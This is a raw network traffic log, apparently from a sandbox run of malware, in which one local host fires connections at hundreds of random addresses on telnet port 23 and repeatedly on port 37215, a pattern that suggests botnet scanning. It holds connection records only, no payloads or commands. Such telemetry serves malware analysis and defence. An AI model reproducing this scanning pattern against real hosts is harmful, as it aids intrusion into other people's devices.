Jan 5, 2025 14:35:00.360044003 CET	29476	23	192.168.2.13	57.141.94.23
Jan 5, 2025 14:35:00.360054970 CET	29476	23	192.168.2.13	78.149.179.193
Jan 5, 2025 14:35:00.360061884 CET	29476	23	192.168.2.13	54.154.208.187
Jan 5, 2025 14:35:00.360069990 CET	29476	23	192.168.2.13	43.188.66.145
Jan 5, 2025 14:35:00.360070944 CET	29476	23	192.168.2.13	157.250.142.194
Jan 5, 2025 14:35:00.360081911 CET	29476	23	192.168.2.13	152.218.216.137
Jan 5, 2025 14:35:00.360084057 CET	29476	23	192.168.2.13	85.35.79.105
Jan 5, 2025 14:35:00.360084057 CET	29476	23	192.168.2.13	68.211.8.32
Jan 5, 2025 14:35:00.360086918 CET	29476	23	192.168.2.13	23.15.253.104
Jan 5, 2025 14:35:00.360086918 CET	29476	23	192.168.2.13	170.219.205.189
Jan 5, 2025 14:35:00.360090017 CET	29476	23	192.168.2.13	39.42.103.124
Jan 5, 2025 14:35:00.360090017 CET	29476	23	192.168.2.13	66.55.33.166
Jan 5, 2025 14:35:00.360090017 CET	29476	23	192.168.2.13	210.47.191.24
Jan 5, 2025 14:35:00.360091925 CET	29476	23	192.168.2.13	52.70.223.75
Jan 5, 2025 14:35:00.360091925 CET	29476	23	192.168.2.13	81.179.158.189
Jan 5, 2025 14:35:00.360091925 CET	29476	23	192.168.2.13	148.191.226.240
Jan 5, 2025 14:35:00.360093117 CET	29476	23	192.168.2.13	51.50.138.131
Jan 5, 2025 14:35:00.360099077 CET	29476	23	192.168.2.13	109.229.89.103
Jan 5, 2025 14:35:00.360099077 CET	29476	23	192.168.2.13	155.37.141.3
Jan 5, 2025 14:35:00.360099077 CET	29476	23	192.168.2.13	210.94.198.182
Jan 5, 2025 14:35:00.360109091 CET	29476	23	192.168.2.13	77.90.91.202
Jan 5, 2025 14:35:00.360127926 CET	29476	23	192.168.2.13	206.234.76.132
Jan 5, 2025 14:35:00.360127926 CET	29476	23	192.168.2.13	42.157.207.32
Jan 5, 2025 14:35:00.360142946 CET	29476	23	192.168.2.13	220.39.168.3
Jan 5, 2025 14:35:00.360143900 CET	29476	23	192.168.2.13	8.42.51.241
Jan 5, 2025 14:35:00.360152960 CET	23	46538	196.85.151.212	192.168.2.13
Jan 5, 2025 14:35:00.360160112 CET	29476	23	192.168.2.13	203.173.27.242
Jan 5, 2025 14:35:00.360161066 CET	29476	23	192.168.2.13	104.88.148.199
Jan 5, 2025 14:35:00.360161066 CET	29476	23	192.168.2.13	134.80.7.222
Jan 5, 2025 14:35:00.360161066 CET	29476	23	192.168.2.13	96.156.110.194
Jan 5, 2025 14:35:00.360165119 CET	29476	23	192.168.2.13	140.205.236.55
Jan 5, 2025 14:35:00.360171080 CET	29476	23	192.168.2.13	170.254.116.217
Jan 5, 2025 14:35:00.360173941 CET	29476	23	192.168.2.13	111.103.119.110
Jan 5, 2025 14:35:00.360176086 CET	29476	23	192.168.2.13	217.53.92.196
Jan 5, 2025 14:35:00.360184908 CET	29476	23	192.168.2.13	2.86.203.155
Jan 5, 2025 14:35:00.360196114 CET	29476	23	192.168.2.13	155.124.251.28
Jan 5, 2025 14:35:00.360196114 CET	29476	23	192.168.2.13	203.172.182.99
Jan 5, 2025 14:35:00.360197067 CET	29476	23	192.168.2.13	2.255.82.87
Jan 5, 2025 14:35:00.360203028 CET	46538	23	192.168.2.13	196.85.151.212
Jan 5, 2025 14:35:00.360203981 CET	29476	23	192.168.2.13	198.0.51.115
Jan 5, 2025 14:35:00.360203981 CET	29476	23	192.168.2.13	178.182.184.156
Jan 5, 2025 14:35:00.360203981 CET	29476	23	192.168.2.13	222.136.249.123
Jan 5, 2025 14:35:00.360213995 CET	29476	23	192.168.2.13	184.110.19.153
Jan 5, 2025 14:35:00.360213995 CET	29476	23	192.168.2.13	223.141.8.242
Jan 5, 2025 14:35:00.360219002 CET	29476	23	192.168.2.13	167.199.113.28
Jan 5, 2025 14:35:00.360220909 CET	29476	23	192.168.2.13	70.221.100.96
Jan 5, 2025 14:35:00.360220909 CET	29476	23	192.168.2.13	17.23.193.10
Jan 5, 2025 14:35:00.360224009 CET	29476	23	192.168.2.13	117.182.213.55
Jan 5, 2025 14:35:00.360224962 CET	29476	23	192.168.2.13	163.8.120.143
Jan 5, 2025 14:35:00.360227108 CET	29476	23	192.168.2.13	2.144.64.251
Jan 5, 2025 14:35:00.360236883 CET	29476	23	192.168.2.13	8.196.255.223
Jan 5, 2025 14:35:00.360238075 CET	29476	23	192.168.2.13	142.115.216.10
Jan 5, 2025 14:35:00.360238075 CET	29476	23	192.168.2.13	32.15.129.252
Jan 5, 2025 14:35:00.360238075 CET	29476	23	192.168.2.13	69.174.0.217
Jan 5, 2025 14:35:00.360244989 CET	29476	23	192.168.2.13	153.231.18.228
Jan 5, 2025 14:35:00.360254049 CET	29476	23	192.168.2.13	121.156.94.5
Jan 5, 2025 14:35:00.360261917 CET	29476	23	192.168.2.13	204.85.131.188
Jan 5, 2025 14:35:00.360261917 CET	29476	23	192.168.2.13	91.214.64.120
Jan 5, 2025 14:35:00.360271931 CET	29476	23	192.168.2.13	178.68.1.153
Jan 5, 2025 14:35:00.360271931 CET	29476	23	192.168.2.13	123.151.83.219
Jan 5, 2025 14:35:00.360271931 CET	29476	23	192.168.2.13	104.78.111.9
Jan 5, 2025 14:35:00.360277891 CET	29476	23	192.168.2.13	43.140.67.16
Jan 5, 2025 14:35:00.360296011 CET	29476	23	192.168.2.13	97.4.145.126
Jan 5, 2025 14:35:00.360297918 CET	29476	23	192.168.2.13	48.212.141.2
Jan 5, 2025 14:35:00.360301018 CET	29476	23	192.168.2.13	68.22.63.37
Jan 5, 2025 14:35:00.360301018 CET	29476	23	192.168.2.13	206.220.15.95
Jan 5, 2025 14:35:00.360301018 CET	29476	23	192.168.2.13	106.238.24.156
Jan 5, 2025 14:35:00.360301018 CET	29476	23	192.168.2.13	201.94.141.83
Jan 5, 2025 14:35:00.360306025 CET	29476	23	192.168.2.13	179.250.66.215
Jan 5, 2025 14:35:00.360316992 CET	29476	23	192.168.2.13	131.45.45.43
Jan 5, 2025 14:35:00.360316992 CET	29476	23	192.168.2.13	61.53.145.60
Jan 5, 2025 14:35:00.360321999 CET	29476	23	192.168.2.13	85.225.59.208
Jan 5, 2025 14:35:00.360327959 CET	29476	23	192.168.2.13	182.230.250.56
Jan 5, 2025 14:35:00.360337973 CET	29476	23	192.168.2.13	37.170.223.246
Jan 5, 2025 14:35:00.360337973 CET	29476	23	192.168.2.13	200.244.177.97
Jan 5, 2025 14:35:00.360342026 CET	29476	23	192.168.2.13	44.233.102.231
Jan 5, 2025 14:35:00.360344887 CET	29476	23	192.168.2.13	52.105.150.196
Jan 5, 2025 14:35:00.360344887 CET	29476	23	192.168.2.13	187.5.141.196
Jan 5, 2025 14:35:00.360347986 CET	29476	23	192.168.2.13	31.151.2.53
Jan 5, 2025 14:35:00.360348940 CET	29476	23	192.168.2.13	50.33.22.180
Jan 5, 2025 14:35:00.360349894 CET	29476	23	192.168.2.13	164.182.127.155
Jan 5, 2025 14:35:00.360363007 CET	29476	23	192.168.2.13	19.143.158.250
Jan 5, 2025 14:35:00.360363960 CET	29476	23	192.168.2.13	97.103.135.100
Jan 5, 2025 14:35:00.360373020 CET	29476	23	192.168.2.13	145.41.24.223
Jan 5, 2025 14:35:00.360373974 CET	29476	23	192.168.2.13	212.92.242.155
Jan 5, 2025 14:35:00.360373020 CET	29476	23	192.168.2.13	81.42.248.137
Jan 5, 2025 14:35:00.360373974 CET	29476	23	192.168.2.13	41.106.89.202
Jan 5, 2025 14:35:00.360373974 CET	29476	23	192.168.2.13	125.252.131.113
Jan 5, 2025 14:35:00.360383987 CET	29476	23	192.168.2.13	120.185.15.41
Jan 5, 2025 14:35:00.360383987 CET	29476	23	192.168.2.13	37.97.227.57
Jan 5, 2025 14:35:00.360404968 CET	29476	23	192.168.2.13	68.4.6.255
Jan 5, 2025 14:35:00.360404968 CET	29476	23	192.168.2.13	108.72.192.136
Jan 5, 2025 14:35:00.360408068 CET	29476	23	192.168.2.13	68.188.208.236
Jan 5, 2025 14:35:00.360414028 CET	29476	23	192.168.2.13	164.54.231.235
Jan 5, 2025 14:35:00.360430002 CET	29476	23	192.168.2.13	218.96.92.50
Jan 5, 2025 14:35:00.360430956 CET	29476	23	192.168.2.13	167.186.223.124
Jan 5, 2025 14:35:00.360430956 CET	29476	23	192.168.2.13	70.221.171.37
Jan 5, 2025 14:35:00.360430956 CET	29476	23	192.168.2.13	125.196.166.191
Jan 5, 2025 14:35:00.360434055 CET	29476	23	192.168.2.13	220.136.62.245
Jan 5, 2025 14:35:00.360434055 CET	29476	23	192.168.2.13	104.102.200.248
Jan 5, 2025 14:35:00.360438108 CET	29476	23	192.168.2.13	31.34.90.17
Jan 5, 2025 14:35:00.360438108 CET	29476	23	192.168.2.13	177.208.106.118
Jan 5, 2025 14:35:00.360446930 CET	29476	23	192.168.2.13	105.74.73.255
Jan 5, 2025 14:35:00.360447884 CET	29476	23	192.168.2.13	152.242.152.215
Jan 5, 2025 14:35:00.360449076 CET	29476	23	192.168.2.13	201.176.220.60
Jan 5, 2025 14:35:00.360447884 CET	29476	23	192.168.2.13	125.140.10.230
Jan 5, 2025 14:35:00.360480070 CET	29476	23	192.168.2.13	72.207.217.116
Jan 5, 2025 14:35:00.360481024 CET	29476	23	192.168.2.13	140.74.34.43
Jan 5, 2025 14:35:00.360481024 CET	29476	23	192.168.2.13	43.9.23.55
Jan 5, 2025 14:35:00.360481977 CET	29476	23	192.168.2.13	174.214.104.30
Jan 5, 2025 14:35:00.360481977 CET	29476	23	192.168.2.13	153.211.43.224
Jan 5, 2025 14:35:00.360486031 CET	29476	23	192.168.2.13	164.141.221.176
Jan 5, 2025 14:35:00.360486984 CET	29476	23	192.168.2.13	146.77.235.75
Jan 5, 2025 14:35:00.360486984 CET	29476	23	192.168.2.13	111.94.118.212
Jan 5, 2025 14:35:00.360491991 CET	29476	23	192.168.2.13	63.178.103.104
Jan 5, 2025 14:35:00.360491991 CET	29476	23	192.168.2.13	37.62.179.119
Jan 5, 2025 14:35:00.360491991 CET	29476	23	192.168.2.13	131.226.71.132
Jan 5, 2025 14:35:00.360495090 CET	29476	23	192.168.2.13	172.67.177.228
Jan 5, 2025 14:35:00.360496998 CET	29476	23	192.168.2.13	101.93.170.51
Jan 5, 2025 14:35:00.360502958 CET	29476	23	192.168.2.13	39.89.152.125
Jan 5, 2025 14:35:00.360517979 CET	29476	23	192.168.2.13	122.51.205.82
Jan 5, 2025 14:35:00.360518932 CET	29476	23	192.168.2.13	139.192.90.250
Jan 5, 2025 14:35:00.360532045 CET	29476	23	192.168.2.13	217.126.232.187
Jan 5, 2025 14:35:00.360536098 CET	29476	23	192.168.2.13	99.129.78.84
Jan 5, 2025 14:35:00.360553980 CET	29476	23	192.168.2.13	199.213.200.207
Jan 5, 2025 14:35:00.360553980 CET	29476	23	192.168.2.13	129.229.17.153
Jan 5, 2025 14:35:00.360554934 CET	29476	23	192.168.2.13	210.89.218.238
Jan 5, 2025 14:35:00.360554934 CET	29476	23	192.168.2.13	44.83.208.224
Jan 5, 2025 14:35:00.360558033 CET	29476	23	192.168.2.13	204.66.232.185
Jan 5, 2025 14:35:00.360558033 CET	29476	23	192.168.2.13	195.198.127.166
Jan 5, 2025 14:35:00.360558987 CET	29476	23	192.168.2.13	130.215.225.83
Jan 5, 2025 14:35:00.360562086 CET	29476	23	192.168.2.13	162.220.167.117
Jan 5, 2025 14:35:00.360562086 CET	29476	23	192.168.2.13	188.237.45.109
Jan 5, 2025 14:35:00.360562086 CET	29476	23	192.168.2.13	9.184.4.251
Jan 5, 2025 14:35:00.360562086 CET	29476	23	192.168.2.13	173.251.23.235
Jan 5, 2025 14:35:00.360562086 CET	29476	23	192.168.2.13	194.85.157.44
Jan 5, 2025 14:35:00.360580921 CET	29476	23	192.168.2.13	95.247.74.67
Jan 5, 2025 14:35:00.360589027 CET	29476	23	192.168.2.13	213.25.71.184
Jan 5, 2025 14:35:00.360591888 CET	29476	23	192.168.2.13	5.207.130.76
Jan 5, 2025 14:35:00.360594988 CET	29476	23	192.168.2.13	87.103.25.164
Jan 5, 2025 14:35:00.360596895 CET	29476	23	192.168.2.13	208.46.61.81
Jan 5, 2025 14:35:00.360596895 CET	29476	23	192.168.2.13	203.78.138.28
Jan 5, 2025 14:35:00.360596895 CET	29476	23	192.168.2.13	141.74.43.197
Jan 5, 2025 14:35:00.360599041 CET	29476	23	192.168.2.13	217.109.249.12
Jan 5, 2025 14:35:00.360616922 CET	29476	23	192.168.2.13	54.129.79.213
Jan 5, 2025 14:35:00.360616922 CET	29476	23	192.168.2.13	193.250.4.242
Jan 5, 2025 14:35:00.360632896 CET	29476	23	192.168.2.13	57.63.222.111
Jan 5, 2025 14:35:00.360636950 CET	29476	23	192.168.2.13	88.124.148.101
Jan 5, 2025 14:35:00.360636950 CET	29476	23	192.168.2.13	63.36.98.190
Jan 5, 2025 14:35:00.360640049 CET	29476	23	192.168.2.13	173.75.139.209
Jan 5, 2025 14:35:00.360641003 CET	29476	23	192.168.2.13	154.171.246.76
Jan 5, 2025 14:35:00.360644102 CET	29476	23	192.168.2.13	145.29.210.254
Jan 5, 2025 14:35:00.360657930 CET	29476	23	192.168.2.13	117.126.46.153
Jan 5, 2025 14:35:00.360657930 CET	29476	23	192.168.2.13	179.49.100.189
Jan 5, 2025 14:35:00.360658884 CET	29476	23	192.168.2.13	31.248.206.253
Jan 5, 2025 14:35:00.360660076 CET	29476	23	192.168.2.13	94.152.32.54
Jan 5, 2025 14:35:00.360660076 CET	29476	23	192.168.2.13	211.180.239.238
Jan 5, 2025 14:35:00.360672951 CET	29476	23	192.168.2.13	193.209.137.216
Jan 5, 2025 14:35:00.360673904 CET	29476	23	192.168.2.13	163.121.200.185
Jan 5, 2025 14:35:00.360675097 CET	29476	23	192.168.2.13	190.172.192.120
Jan 5, 2025 14:35:00.360675097 CET	29476	23	192.168.2.13	178.155.183.98
Jan 5, 2025 14:35:00.360677004 CET	29476	23	192.168.2.13	52.142.9.35
Jan 5, 2025 14:35:00.360693932 CET	29476	23	192.168.2.13	211.114.77.99
Jan 5, 2025 14:35:00.360696077 CET	29476	23	192.168.2.13	68.192.133.59
Jan 5, 2025 14:35:00.360697031 CET	29476	23	192.168.2.13	1.136.188.70
Jan 5, 2025 14:35:00.360698938 CET	29476	23	192.168.2.13	148.245.31.2
Jan 5, 2025 14:35:00.360698938 CET	29476	23	192.168.2.13	112.94.68.215
Jan 5, 2025 14:35:00.360712051 CET	29476	23	192.168.2.13	144.25.244.132
Jan 5, 2025 14:35:00.360712051 CET	29476	23	192.168.2.13	185.54.191.213
Jan 5, 2025 14:35:00.360730886 CET	29476	23	192.168.2.13	49.78.219.149
Jan 5, 2025 14:35:00.360735893 CET	29476	23	192.168.2.13	94.177.170.116
Jan 5, 2025 14:35:00.360737085 CET	29476	23	192.168.2.13	170.2.218.55
Jan 5, 2025 14:35:00.360753059 CET	29476	23	192.168.2.13	156.205.234.12
Jan 5, 2025 14:35:00.360759020 CET	29476	23	192.168.2.13	37.18.52.66
Jan 5, 2025 14:35:00.360759020 CET	29476	23	192.168.2.13	64.27.170.38
Jan 5, 2025 14:35:00.360759020 CET	29476	23	192.168.2.13	37.20.79.175
Jan 5, 2025 14:35:00.360759020 CET	29476	23	192.168.2.13	183.135.192.113
Jan 5, 2025 14:35:00.360765934 CET	29476	23	192.168.2.13	197.125.21.139
Jan 5, 2025 14:35:00.360769033 CET	29476	23	192.168.2.13	122.240.0.52
Jan 5, 2025 14:35:00.360780001 CET	29476	23	192.168.2.13	217.12.70.146
Jan 5, 2025 14:35:00.360780001 CET	29476	23	192.168.2.13	58.5.40.181
Jan 5, 2025 14:35:00.360788107 CET	29476	23	192.168.2.13	66.105.110.81
Jan 5, 2025 14:35:00.360788107 CET	29476	23	192.168.2.13	27.8.219.95
Jan 5, 2025 14:35:00.360793114 CET	29476	23	192.168.2.13	129.247.91.166
Jan 5, 2025 14:35:00.360794067 CET	29476	23	192.168.2.13	47.51.121.234
Jan 5, 2025 14:35:00.360819101 CET	29476	23	192.168.2.13	102.85.204.237
Jan 5, 2025 14:35:00.360822916 CET	29476	23	192.168.2.13	165.50.63.186
Jan 5, 2025 14:35:00.360822916 CET	29476	23	192.168.2.13	220.12.23.132
Jan 5, 2025 14:35:00.360822916 CET	29476	23	192.168.2.13	101.219.73.115
Jan 5, 2025 14:35:00.360831022 CET	29476	23	192.168.2.13	25.162.38.234
Jan 5, 2025 14:35:00.360831022 CET	29476	23	192.168.2.13	17.248.175.162
Jan 5, 2025 14:35:00.360831022 CET	29476	23	192.168.2.13	141.16.116.230
Jan 5, 2025 14:35:00.360852003 CET	29476	23	192.168.2.13	31.164.131.241
Jan 5, 2025 14:35:00.360853910 CET	29476	23	192.168.2.13	129.178.196.129
Jan 5, 2025 14:35:00.360856056 CET	29476	23	192.168.2.13	192.29.13.224
Jan 5, 2025 14:35:00.360871077 CET	29476	23	192.168.2.13	160.249.40.46
Jan 5, 2025 14:35:00.360881090 CET	29476	23	192.168.2.13	167.161.70.115
Jan 5, 2025 14:35:00.360882044 CET	29476	23	192.168.2.13	62.40.237.199
Jan 5, 2025 14:35:00.360882998 CET	29476	23	192.168.2.13	80.248.124.104
Jan 5, 2025 14:35:00.360883951 CET	29476	23	192.168.2.13	201.81.110.6
Jan 5, 2025 14:35:00.360883951 CET	29476	23	192.168.2.13	110.146.65.220
Jan 5, 2025 14:35:00.360887051 CET	29476	23	192.168.2.13	75.4.128.173
Jan 5, 2025 14:35:00.360887051 CET	29476	23	192.168.2.13	159.58.189.15
Jan 5, 2025 14:35:00.360887051 CET	29476	23	192.168.2.13	163.255.246.199
Jan 5, 2025 14:35:00.360898972 CET	29476	23	192.168.2.13	118.157.195.162
Jan 5, 2025 14:35:00.360898972 CET	29476	23	192.168.2.13	89.75.172.57
Jan 5, 2025 14:35:00.360908031 CET	29476	23	192.168.2.13	201.249.243.234
Jan 5, 2025 14:35:00.360908985 CET	29476	23	192.168.2.13	47.123.132.86
Jan 5, 2025 14:35:00.360909939 CET	29476	23	192.168.2.13	40.162.12.69
Jan 5, 2025 14:35:00.360909939 CET	29476	23	192.168.2.13	61.242.234.75
Jan 5, 2025 14:35:00.360924959 CET	29476	23	192.168.2.13	9.16.110.193
Jan 5, 2025 14:35:00.360925913 CET	29476	23	192.168.2.13	197.130.244.19
Jan 5, 2025 14:35:00.360924959 CET	29476	23	192.168.2.13	218.139.156.240
Jan 5, 2025 14:35:00.360927105 CET	29476	23	192.168.2.13	182.68.159.36
Jan 5, 2025 14:35:00.360946894 CET	29476	23	192.168.2.13	90.150.156.104
Jan 5, 2025 14:35:00.360954046 CET	29476	23	192.168.2.13	141.218.133.145
Jan 5, 2025 14:35:00.360955000 CET	29476	23	192.168.2.13	213.104.62.41
Jan 5, 2025 14:35:00.360964060 CET	29476	23	192.168.2.13	139.84.194.213
Jan 5, 2025 14:35:00.360964060 CET	29476	23	192.168.2.13	164.175.205.93
Jan 5, 2025 14:35:00.360964060 CET	29476	23	192.168.2.13	157.129.53.239
Jan 5, 2025 14:35:00.360965967 CET	29476	23	192.168.2.13	208.108.22.200
Jan 5, 2025 14:35:00.360968113 CET	29476	23	192.168.2.13	203.193.204.216
Jan 5, 2025 14:35:00.360976934 CET	29476	23	192.168.2.13	152.145.7.9
Jan 5, 2025 14:35:00.360977888 CET	29476	23	192.168.2.13	14.115.0.38
Jan 5, 2025 14:35:00.360980988 CET	29476	23	192.168.2.13	114.218.219.85
Jan 5, 2025 14:35:00.361001015 CET	29476	23	192.168.2.13	8.113.239.163
Jan 5, 2025 14:35:00.361001968 CET	29476	23	192.168.2.13	181.129.75.233
Jan 5, 2025 14:35:00.361002922 CET	29476	23	192.168.2.13	165.104.119.212
Jan 5, 2025 14:35:00.361031055 CET	29476	23	192.168.2.13	120.95.210.225
Jan 5, 2025 14:35:00.361032009 CET	29476	23	192.168.2.13	54.112.254.5
Jan 5, 2025 14:35:00.361032009 CET	29476	23	192.168.2.13	161.220.8.83
Jan 5, 2025 14:35:00.361032963 CET	29476	23	192.168.2.13	51.47.6.17
Jan 5, 2025 14:35:00.361036062 CET	29476	23	192.168.2.13	70.156.102.219
Jan 5, 2025 14:35:00.361036062 CET	29476	23	192.168.2.13	121.129.8.149
Jan 5, 2025 14:35:00.361036062 CET	29476	23	192.168.2.13	150.47.72.184
Jan 5, 2025 14:35:00.361052990 CET	29476	23	192.168.2.13	19.168.176.151
Jan 5, 2025 14:35:00.361058950 CET	29476	23	192.168.2.13	175.108.202.64
Jan 5, 2025 14:35:00.361058950 CET	29476	23	192.168.2.13	57.178.247.4
Jan 5, 2025 14:35:00.361062050 CET	29476	23	192.168.2.13	46.17.165.212
Jan 5, 2025 14:35:00.361069918 CET	29476	23	192.168.2.13	134.98.87.123
Jan 5, 2025 14:35:00.361069918 CET	29476	23	192.168.2.13	54.180.214.141
Jan 5, 2025 14:35:00.361087084 CET	29476	23	192.168.2.13	138.90.219.1
Jan 5, 2025 14:35:00.361087084 CET	29476	23	192.168.2.13	67.106.245.246
Jan 5, 2025 14:35:00.363553047 CET	38934	37215	192.168.2.13	41.245.158.70
Jan 5, 2025 14:35:00.363553047 CET	38934	37215	192.168.2.13	41.245.158.70
Jan 5, 2025 14:35:00.366791010 CET	39340	37215	192.168.2.13	41.245.158.70
Jan 5, 2025 14:35:00.369035959 CET	37215	38934	41.245.158.70	192.168.2.13
Jan 5, 2025 14:35:00.370265007 CET	56704	37215	192.168.2.13	156.135.244.57
Jan 5, 2025 14:35:00.370265007 CET	56704	37215	192.168.2.13	156.135.244.57
Jan 5, 2025 14:35:00.371575117 CET	37215	39340	41.245.158.70	192.168.2.13
Jan 5, 2025 14:35:00.371613979 CET	39340	37215	192.168.2.13	41.245.158.70
Jan 5, 2025 14:35:00.372142076 CET	47376	80	192.168.2.13	143.71.140.71
Jan 5, 2025 14:35:00.372198105 CET	40668	80	192.168.2.13	98.203.60.63
Jan 5, 2025 14:35:00.373683929 CET	57110	37215	192.168.2.13	156.135.244.57
Jan 5, 2025 14:35:00.375086069 CET	37215	56704	156.135.244.57	192.168.2.13
Jan 5, 2025 14:35:00.375519037 CET	37215	33778	156.245.141.198	192.168.2.13
Jan 5, 2025 14:35:00.377414942 CET	33134	37215	192.168.2.13	197.114.161.87
Jan 5, 2025 14:35:00.377414942 CET	33134	37215	192.168.2.13	197.114.161.87
Jan 5, 2025 14:35:00.381555080 CET	33540	37215	192.168.2.13	197.114.161.87
Jan 5, 2025 14:35:00.382213116 CET	37215	33134	197.114.161.87	192.168.2.13
Jan 5, 2025 14:35:00.383511066 CET	37215	53800	197.159.178.158	192.168.2.13
Jan 5, 2025 14:35:00.385967016 CET	58980	37215	192.168.2.13	197.78.8.202
Jan 5, 2025 14:35:00.385967016 CET	58980	37215	192.168.2.13	197.78.8.202
Jan 5, 2025 14:35:00.386320114 CET	37215	33540	197.114.161.87	192.168.2.13
Jan 5, 2025 14:35:00.386476994 CET	33540	37215	192.168.2.13	197.114.161.87
Jan 5, 2025 14:35:00.387478113 CET	37215	42706	197.37.180.192	192.168.2.13
Jan 5, 2025 14:35:00.390069008 CET	59036	37215	192.168.2.13	197.78.8.202
Jan 5, 2025 14:35:00.390748024 CET	37215	58980	197.78.8.202	192.168.2.13
Jan 5, 2025 14:35:00.394399881 CET	59282	37215	192.168.2.13	156.245.190.4
Jan 5, 2025 14:35:00.394399881 CET	59282	37215	192.168.2.13	156.245.190.4
Jan 5, 2025 14:35:00.394912004 CET	37215	59036	197.78.8.202	192.168.2.13
Jan 5, 2025 14:35:00.394980907 CET	59036	37215	192.168.2.13	197.78.8.202
Jan 5, 2025 14:35:00.396725893 CET	59338	37215	192.168.2.13	156.245.190.4
Jan 5, 2025 14:35:00.399254084 CET	37215	59282	156.245.190.4	192.168.2.13
Jan 5, 2025 14:35:00.399519920 CET	37215	36638	156.241.244.77	192.168.2.13
Jan 5, 2025 14:35:00.399528980 CET	37215	56658	156.156.184.103	192.168.2.13
Jan 5, 2025 14:35:00.400146008 CET	49980	80	192.168.2.13	204.248.109.44
Jan 5, 2025 14:35:00.401325941 CET	40456	37215	192.168.2.13	156.62.255.186
Jan 5, 2025 14:35:00.401325941 CET	40456	37215	192.168.2.13	156.62.255.186
Jan 5, 2025 14:35:00.401550055 CET	37215	59338	156.245.190.4	192.168.2.13
Jan 5, 2025 14:35:00.401607990 CET	59338	37215	192.168.2.13	156.245.190.4
Jan 5, 2025 14:35:00.405862093 CET	40510	37215	192.168.2.13	156.62.255.186
Jan 5, 2025 14:35:00.406109095 CET	37215	40456	156.62.255.186	192.168.2.13
Jan 5, 2025 14:35:00.409898043 CET	57584	37215	192.168.2.13	156.117.234.170
Jan 5, 2025 14:35:00.409898043 CET	57584	37215	192.168.2.13	156.117.234.170
Jan 5, 2025 14:35:00.410604954 CET	37215	40510	156.62.255.186	192.168.2.13
Jan 5, 2025 14:35:00.410664082 CET	40510	37215	192.168.2.13	156.62.255.186
Jan 5, 2025 14:35:00.414304972 CET	57942	37215	192.168.2.13	156.117.234.170
Jan 5, 2025 14:35:00.414736032 CET	37215	57584	156.117.234.170	192.168.2.13
Jan 5, 2025 14:35:00.415479898 CET	37215	38934	41.245.158.70	192.168.2.13
Jan 5, 2025 14:35:00.415493965 CET	37215	56704	156.135.244.57	192.168.2.13
Jan 5, 2025 14:35:00.418627977 CET	33738	37215	192.168.2.13	41.136.40.189
Jan 5, 2025 14:35:00.418627977 CET	33738	37215	192.168.2.13	41.136.40.189
Jan 5, 2025 14:35:00.422018051 CET	33794	37215	192.168.2.13	41.136.40.189
Jan 5, 2025 14:35:00.423474073 CET	37215	33738	41.136.40.189	192.168.2.13
Jan 5, 2025 14:35:00.423484087 CET	37215	33134	197.114.161.87	192.168.2.13
Jan 5, 2025 14:35:00.425853968 CET	53648	37215	192.168.2.13	156.179.44.151
Jan 5, 2025 14:35:00.425853968 CET	53648	37215	192.168.2.13	156.179.44.151
Jan 5, 2025 14:35:00.426815033 CET	37215	33794	41.136.40.189	192.168.2.13
Jan 5, 2025 14:35:00.426877022 CET	33794	37215	192.168.2.13	41.136.40.189
Jan 5, 2025 14:35:00.429749966 CET	53702	37215	192.168.2.13	156.179.44.151
Jan 5, 2025 14:35:00.430638075 CET	37215	53648	156.179.44.151	192.168.2.13
Jan 5, 2025 14:35:00.433335066 CET	49886	37215	192.168.2.13	156.86.142.141
Jan 5, 2025 14:35:00.433335066 CET	49886	37215	192.168.2.13	156.86.142.141
Jan 5, 2025 14:35:00.434544086 CET	37215	53702	156.179.44.151	192.168.2.13
Jan 5, 2025 14:35:00.434659958 CET	53702	37215	192.168.2.13	156.179.44.151
Jan 5, 2025 14:35:00.435509920 CET	37215	58980	197.78.8.202	192.168.2.13
Jan 5, 2025 14:35:00.436734915 CET	49938	37215	192.168.2.13	156.86.142.141
Jan 5, 2025 14:35:00.438117981 CET	37215	49886	156.86.142.141	192.168.2.13
Jan 5, 2025 14:35:00.439516068 CET	37215	59282	156.245.190.4	192.168.2.13
Jan 5, 2025 14:35:00.440206051 CET	57922	37215	192.168.2.13	197.175.162.9
Jan 5, 2025 14:35:00.440206051 CET	57922	37215	192.168.2.13	197.175.162.9
Jan 5, 2025 14:35:00.441518068 CET	37215	49938	156.86.142.141	192.168.2.13
Jan 5, 2025 14:35:00.441557884 CET	49938	37215	192.168.2.13	156.86.142.141
Jan 5, 2025 14:35:00.443546057 CET	57972	37215	192.168.2.13	197.175.162.9
Jan 5, 2025 14:35:00.445025921 CET	37215	57922	197.175.162.9	192.168.2.13
Jan 5, 2025 14:35:00.447247982 CET	47404	37215	192.168.2.13	197.28.77.200
Jan 5, 2025 14:35:00.447247982 CET	47404	37215	192.168.2.13	197.28.77.200
Jan 5, 2025 14:35:00.447477102 CET	37215	40456	156.62.255.186	192.168.2.13
Jan 5, 2025 14:35:00.448292017 CET	37215	57972	197.175.162.9	192.168.2.13
Jan 5, 2025 14:35:00.448344946 CET	57972	37215	192.168.2.13	197.175.162.9
Jan 5, 2025 14:35:00.450792074 CET	47452	37215	192.168.2.13	197.28.77.200
Jan 5, 2025 14:35:00.452081919 CET	37215	47404	197.28.77.200	192.168.2.13
Jan 5, 2025 14:35:00.454375029 CET	50226	37215	192.168.2.13	197.192.252.246
Jan 5, 2025 14:35:00.454375029 CET	50226	37215	192.168.2.13	197.192.252.246
Jan 5, 2025 14:35:00.455497980 CET	37215	57584	156.117.234.170	192.168.2.13
Jan 5, 2025 14:35:00.458069086 CET	50274	37215	192.168.2.13	197.192.252.246
Jan 5, 2025 14:35:00.459188938 CET	37215	50226	197.192.252.246	192.168.2.13
Jan 5, 2025 14:35:00.461745977 CET	39320	37215	192.168.2.13	197.83.134.208
Jan 5, 2025 14:35:00.461745977 CET	39320	37215	192.168.2.13	197.83.134.208
Jan 5, 2025 14:35:00.462873936 CET	37215	50274	197.192.252.246	192.168.2.13
Jan 5, 2025 14:35:00.462918043 CET	50274	37215	192.168.2.13	197.192.252.246
Jan 5, 2025 14:35:00.465076923 CET	39368	37215	192.168.2.13	197.83.134.208
Jan 5, 2025 14:35:00.466519117 CET	37215	39320	197.83.134.208	192.168.2.13
Jan 5, 2025 14:35:00.467478991 CET	37215	33738	41.136.40.189	192.168.2.13
Jan 5, 2025 14:35:00.469038010 CET	56986	37215	192.168.2.13	41.125.204.121
Jan 5, 2025 14:35:00.469038010 CET	56986	37215	192.168.2.13	41.125.204.121
Jan 5, 2025 14:35:00.469814062 CET	37215	39368	197.83.134.208	192.168.2.13
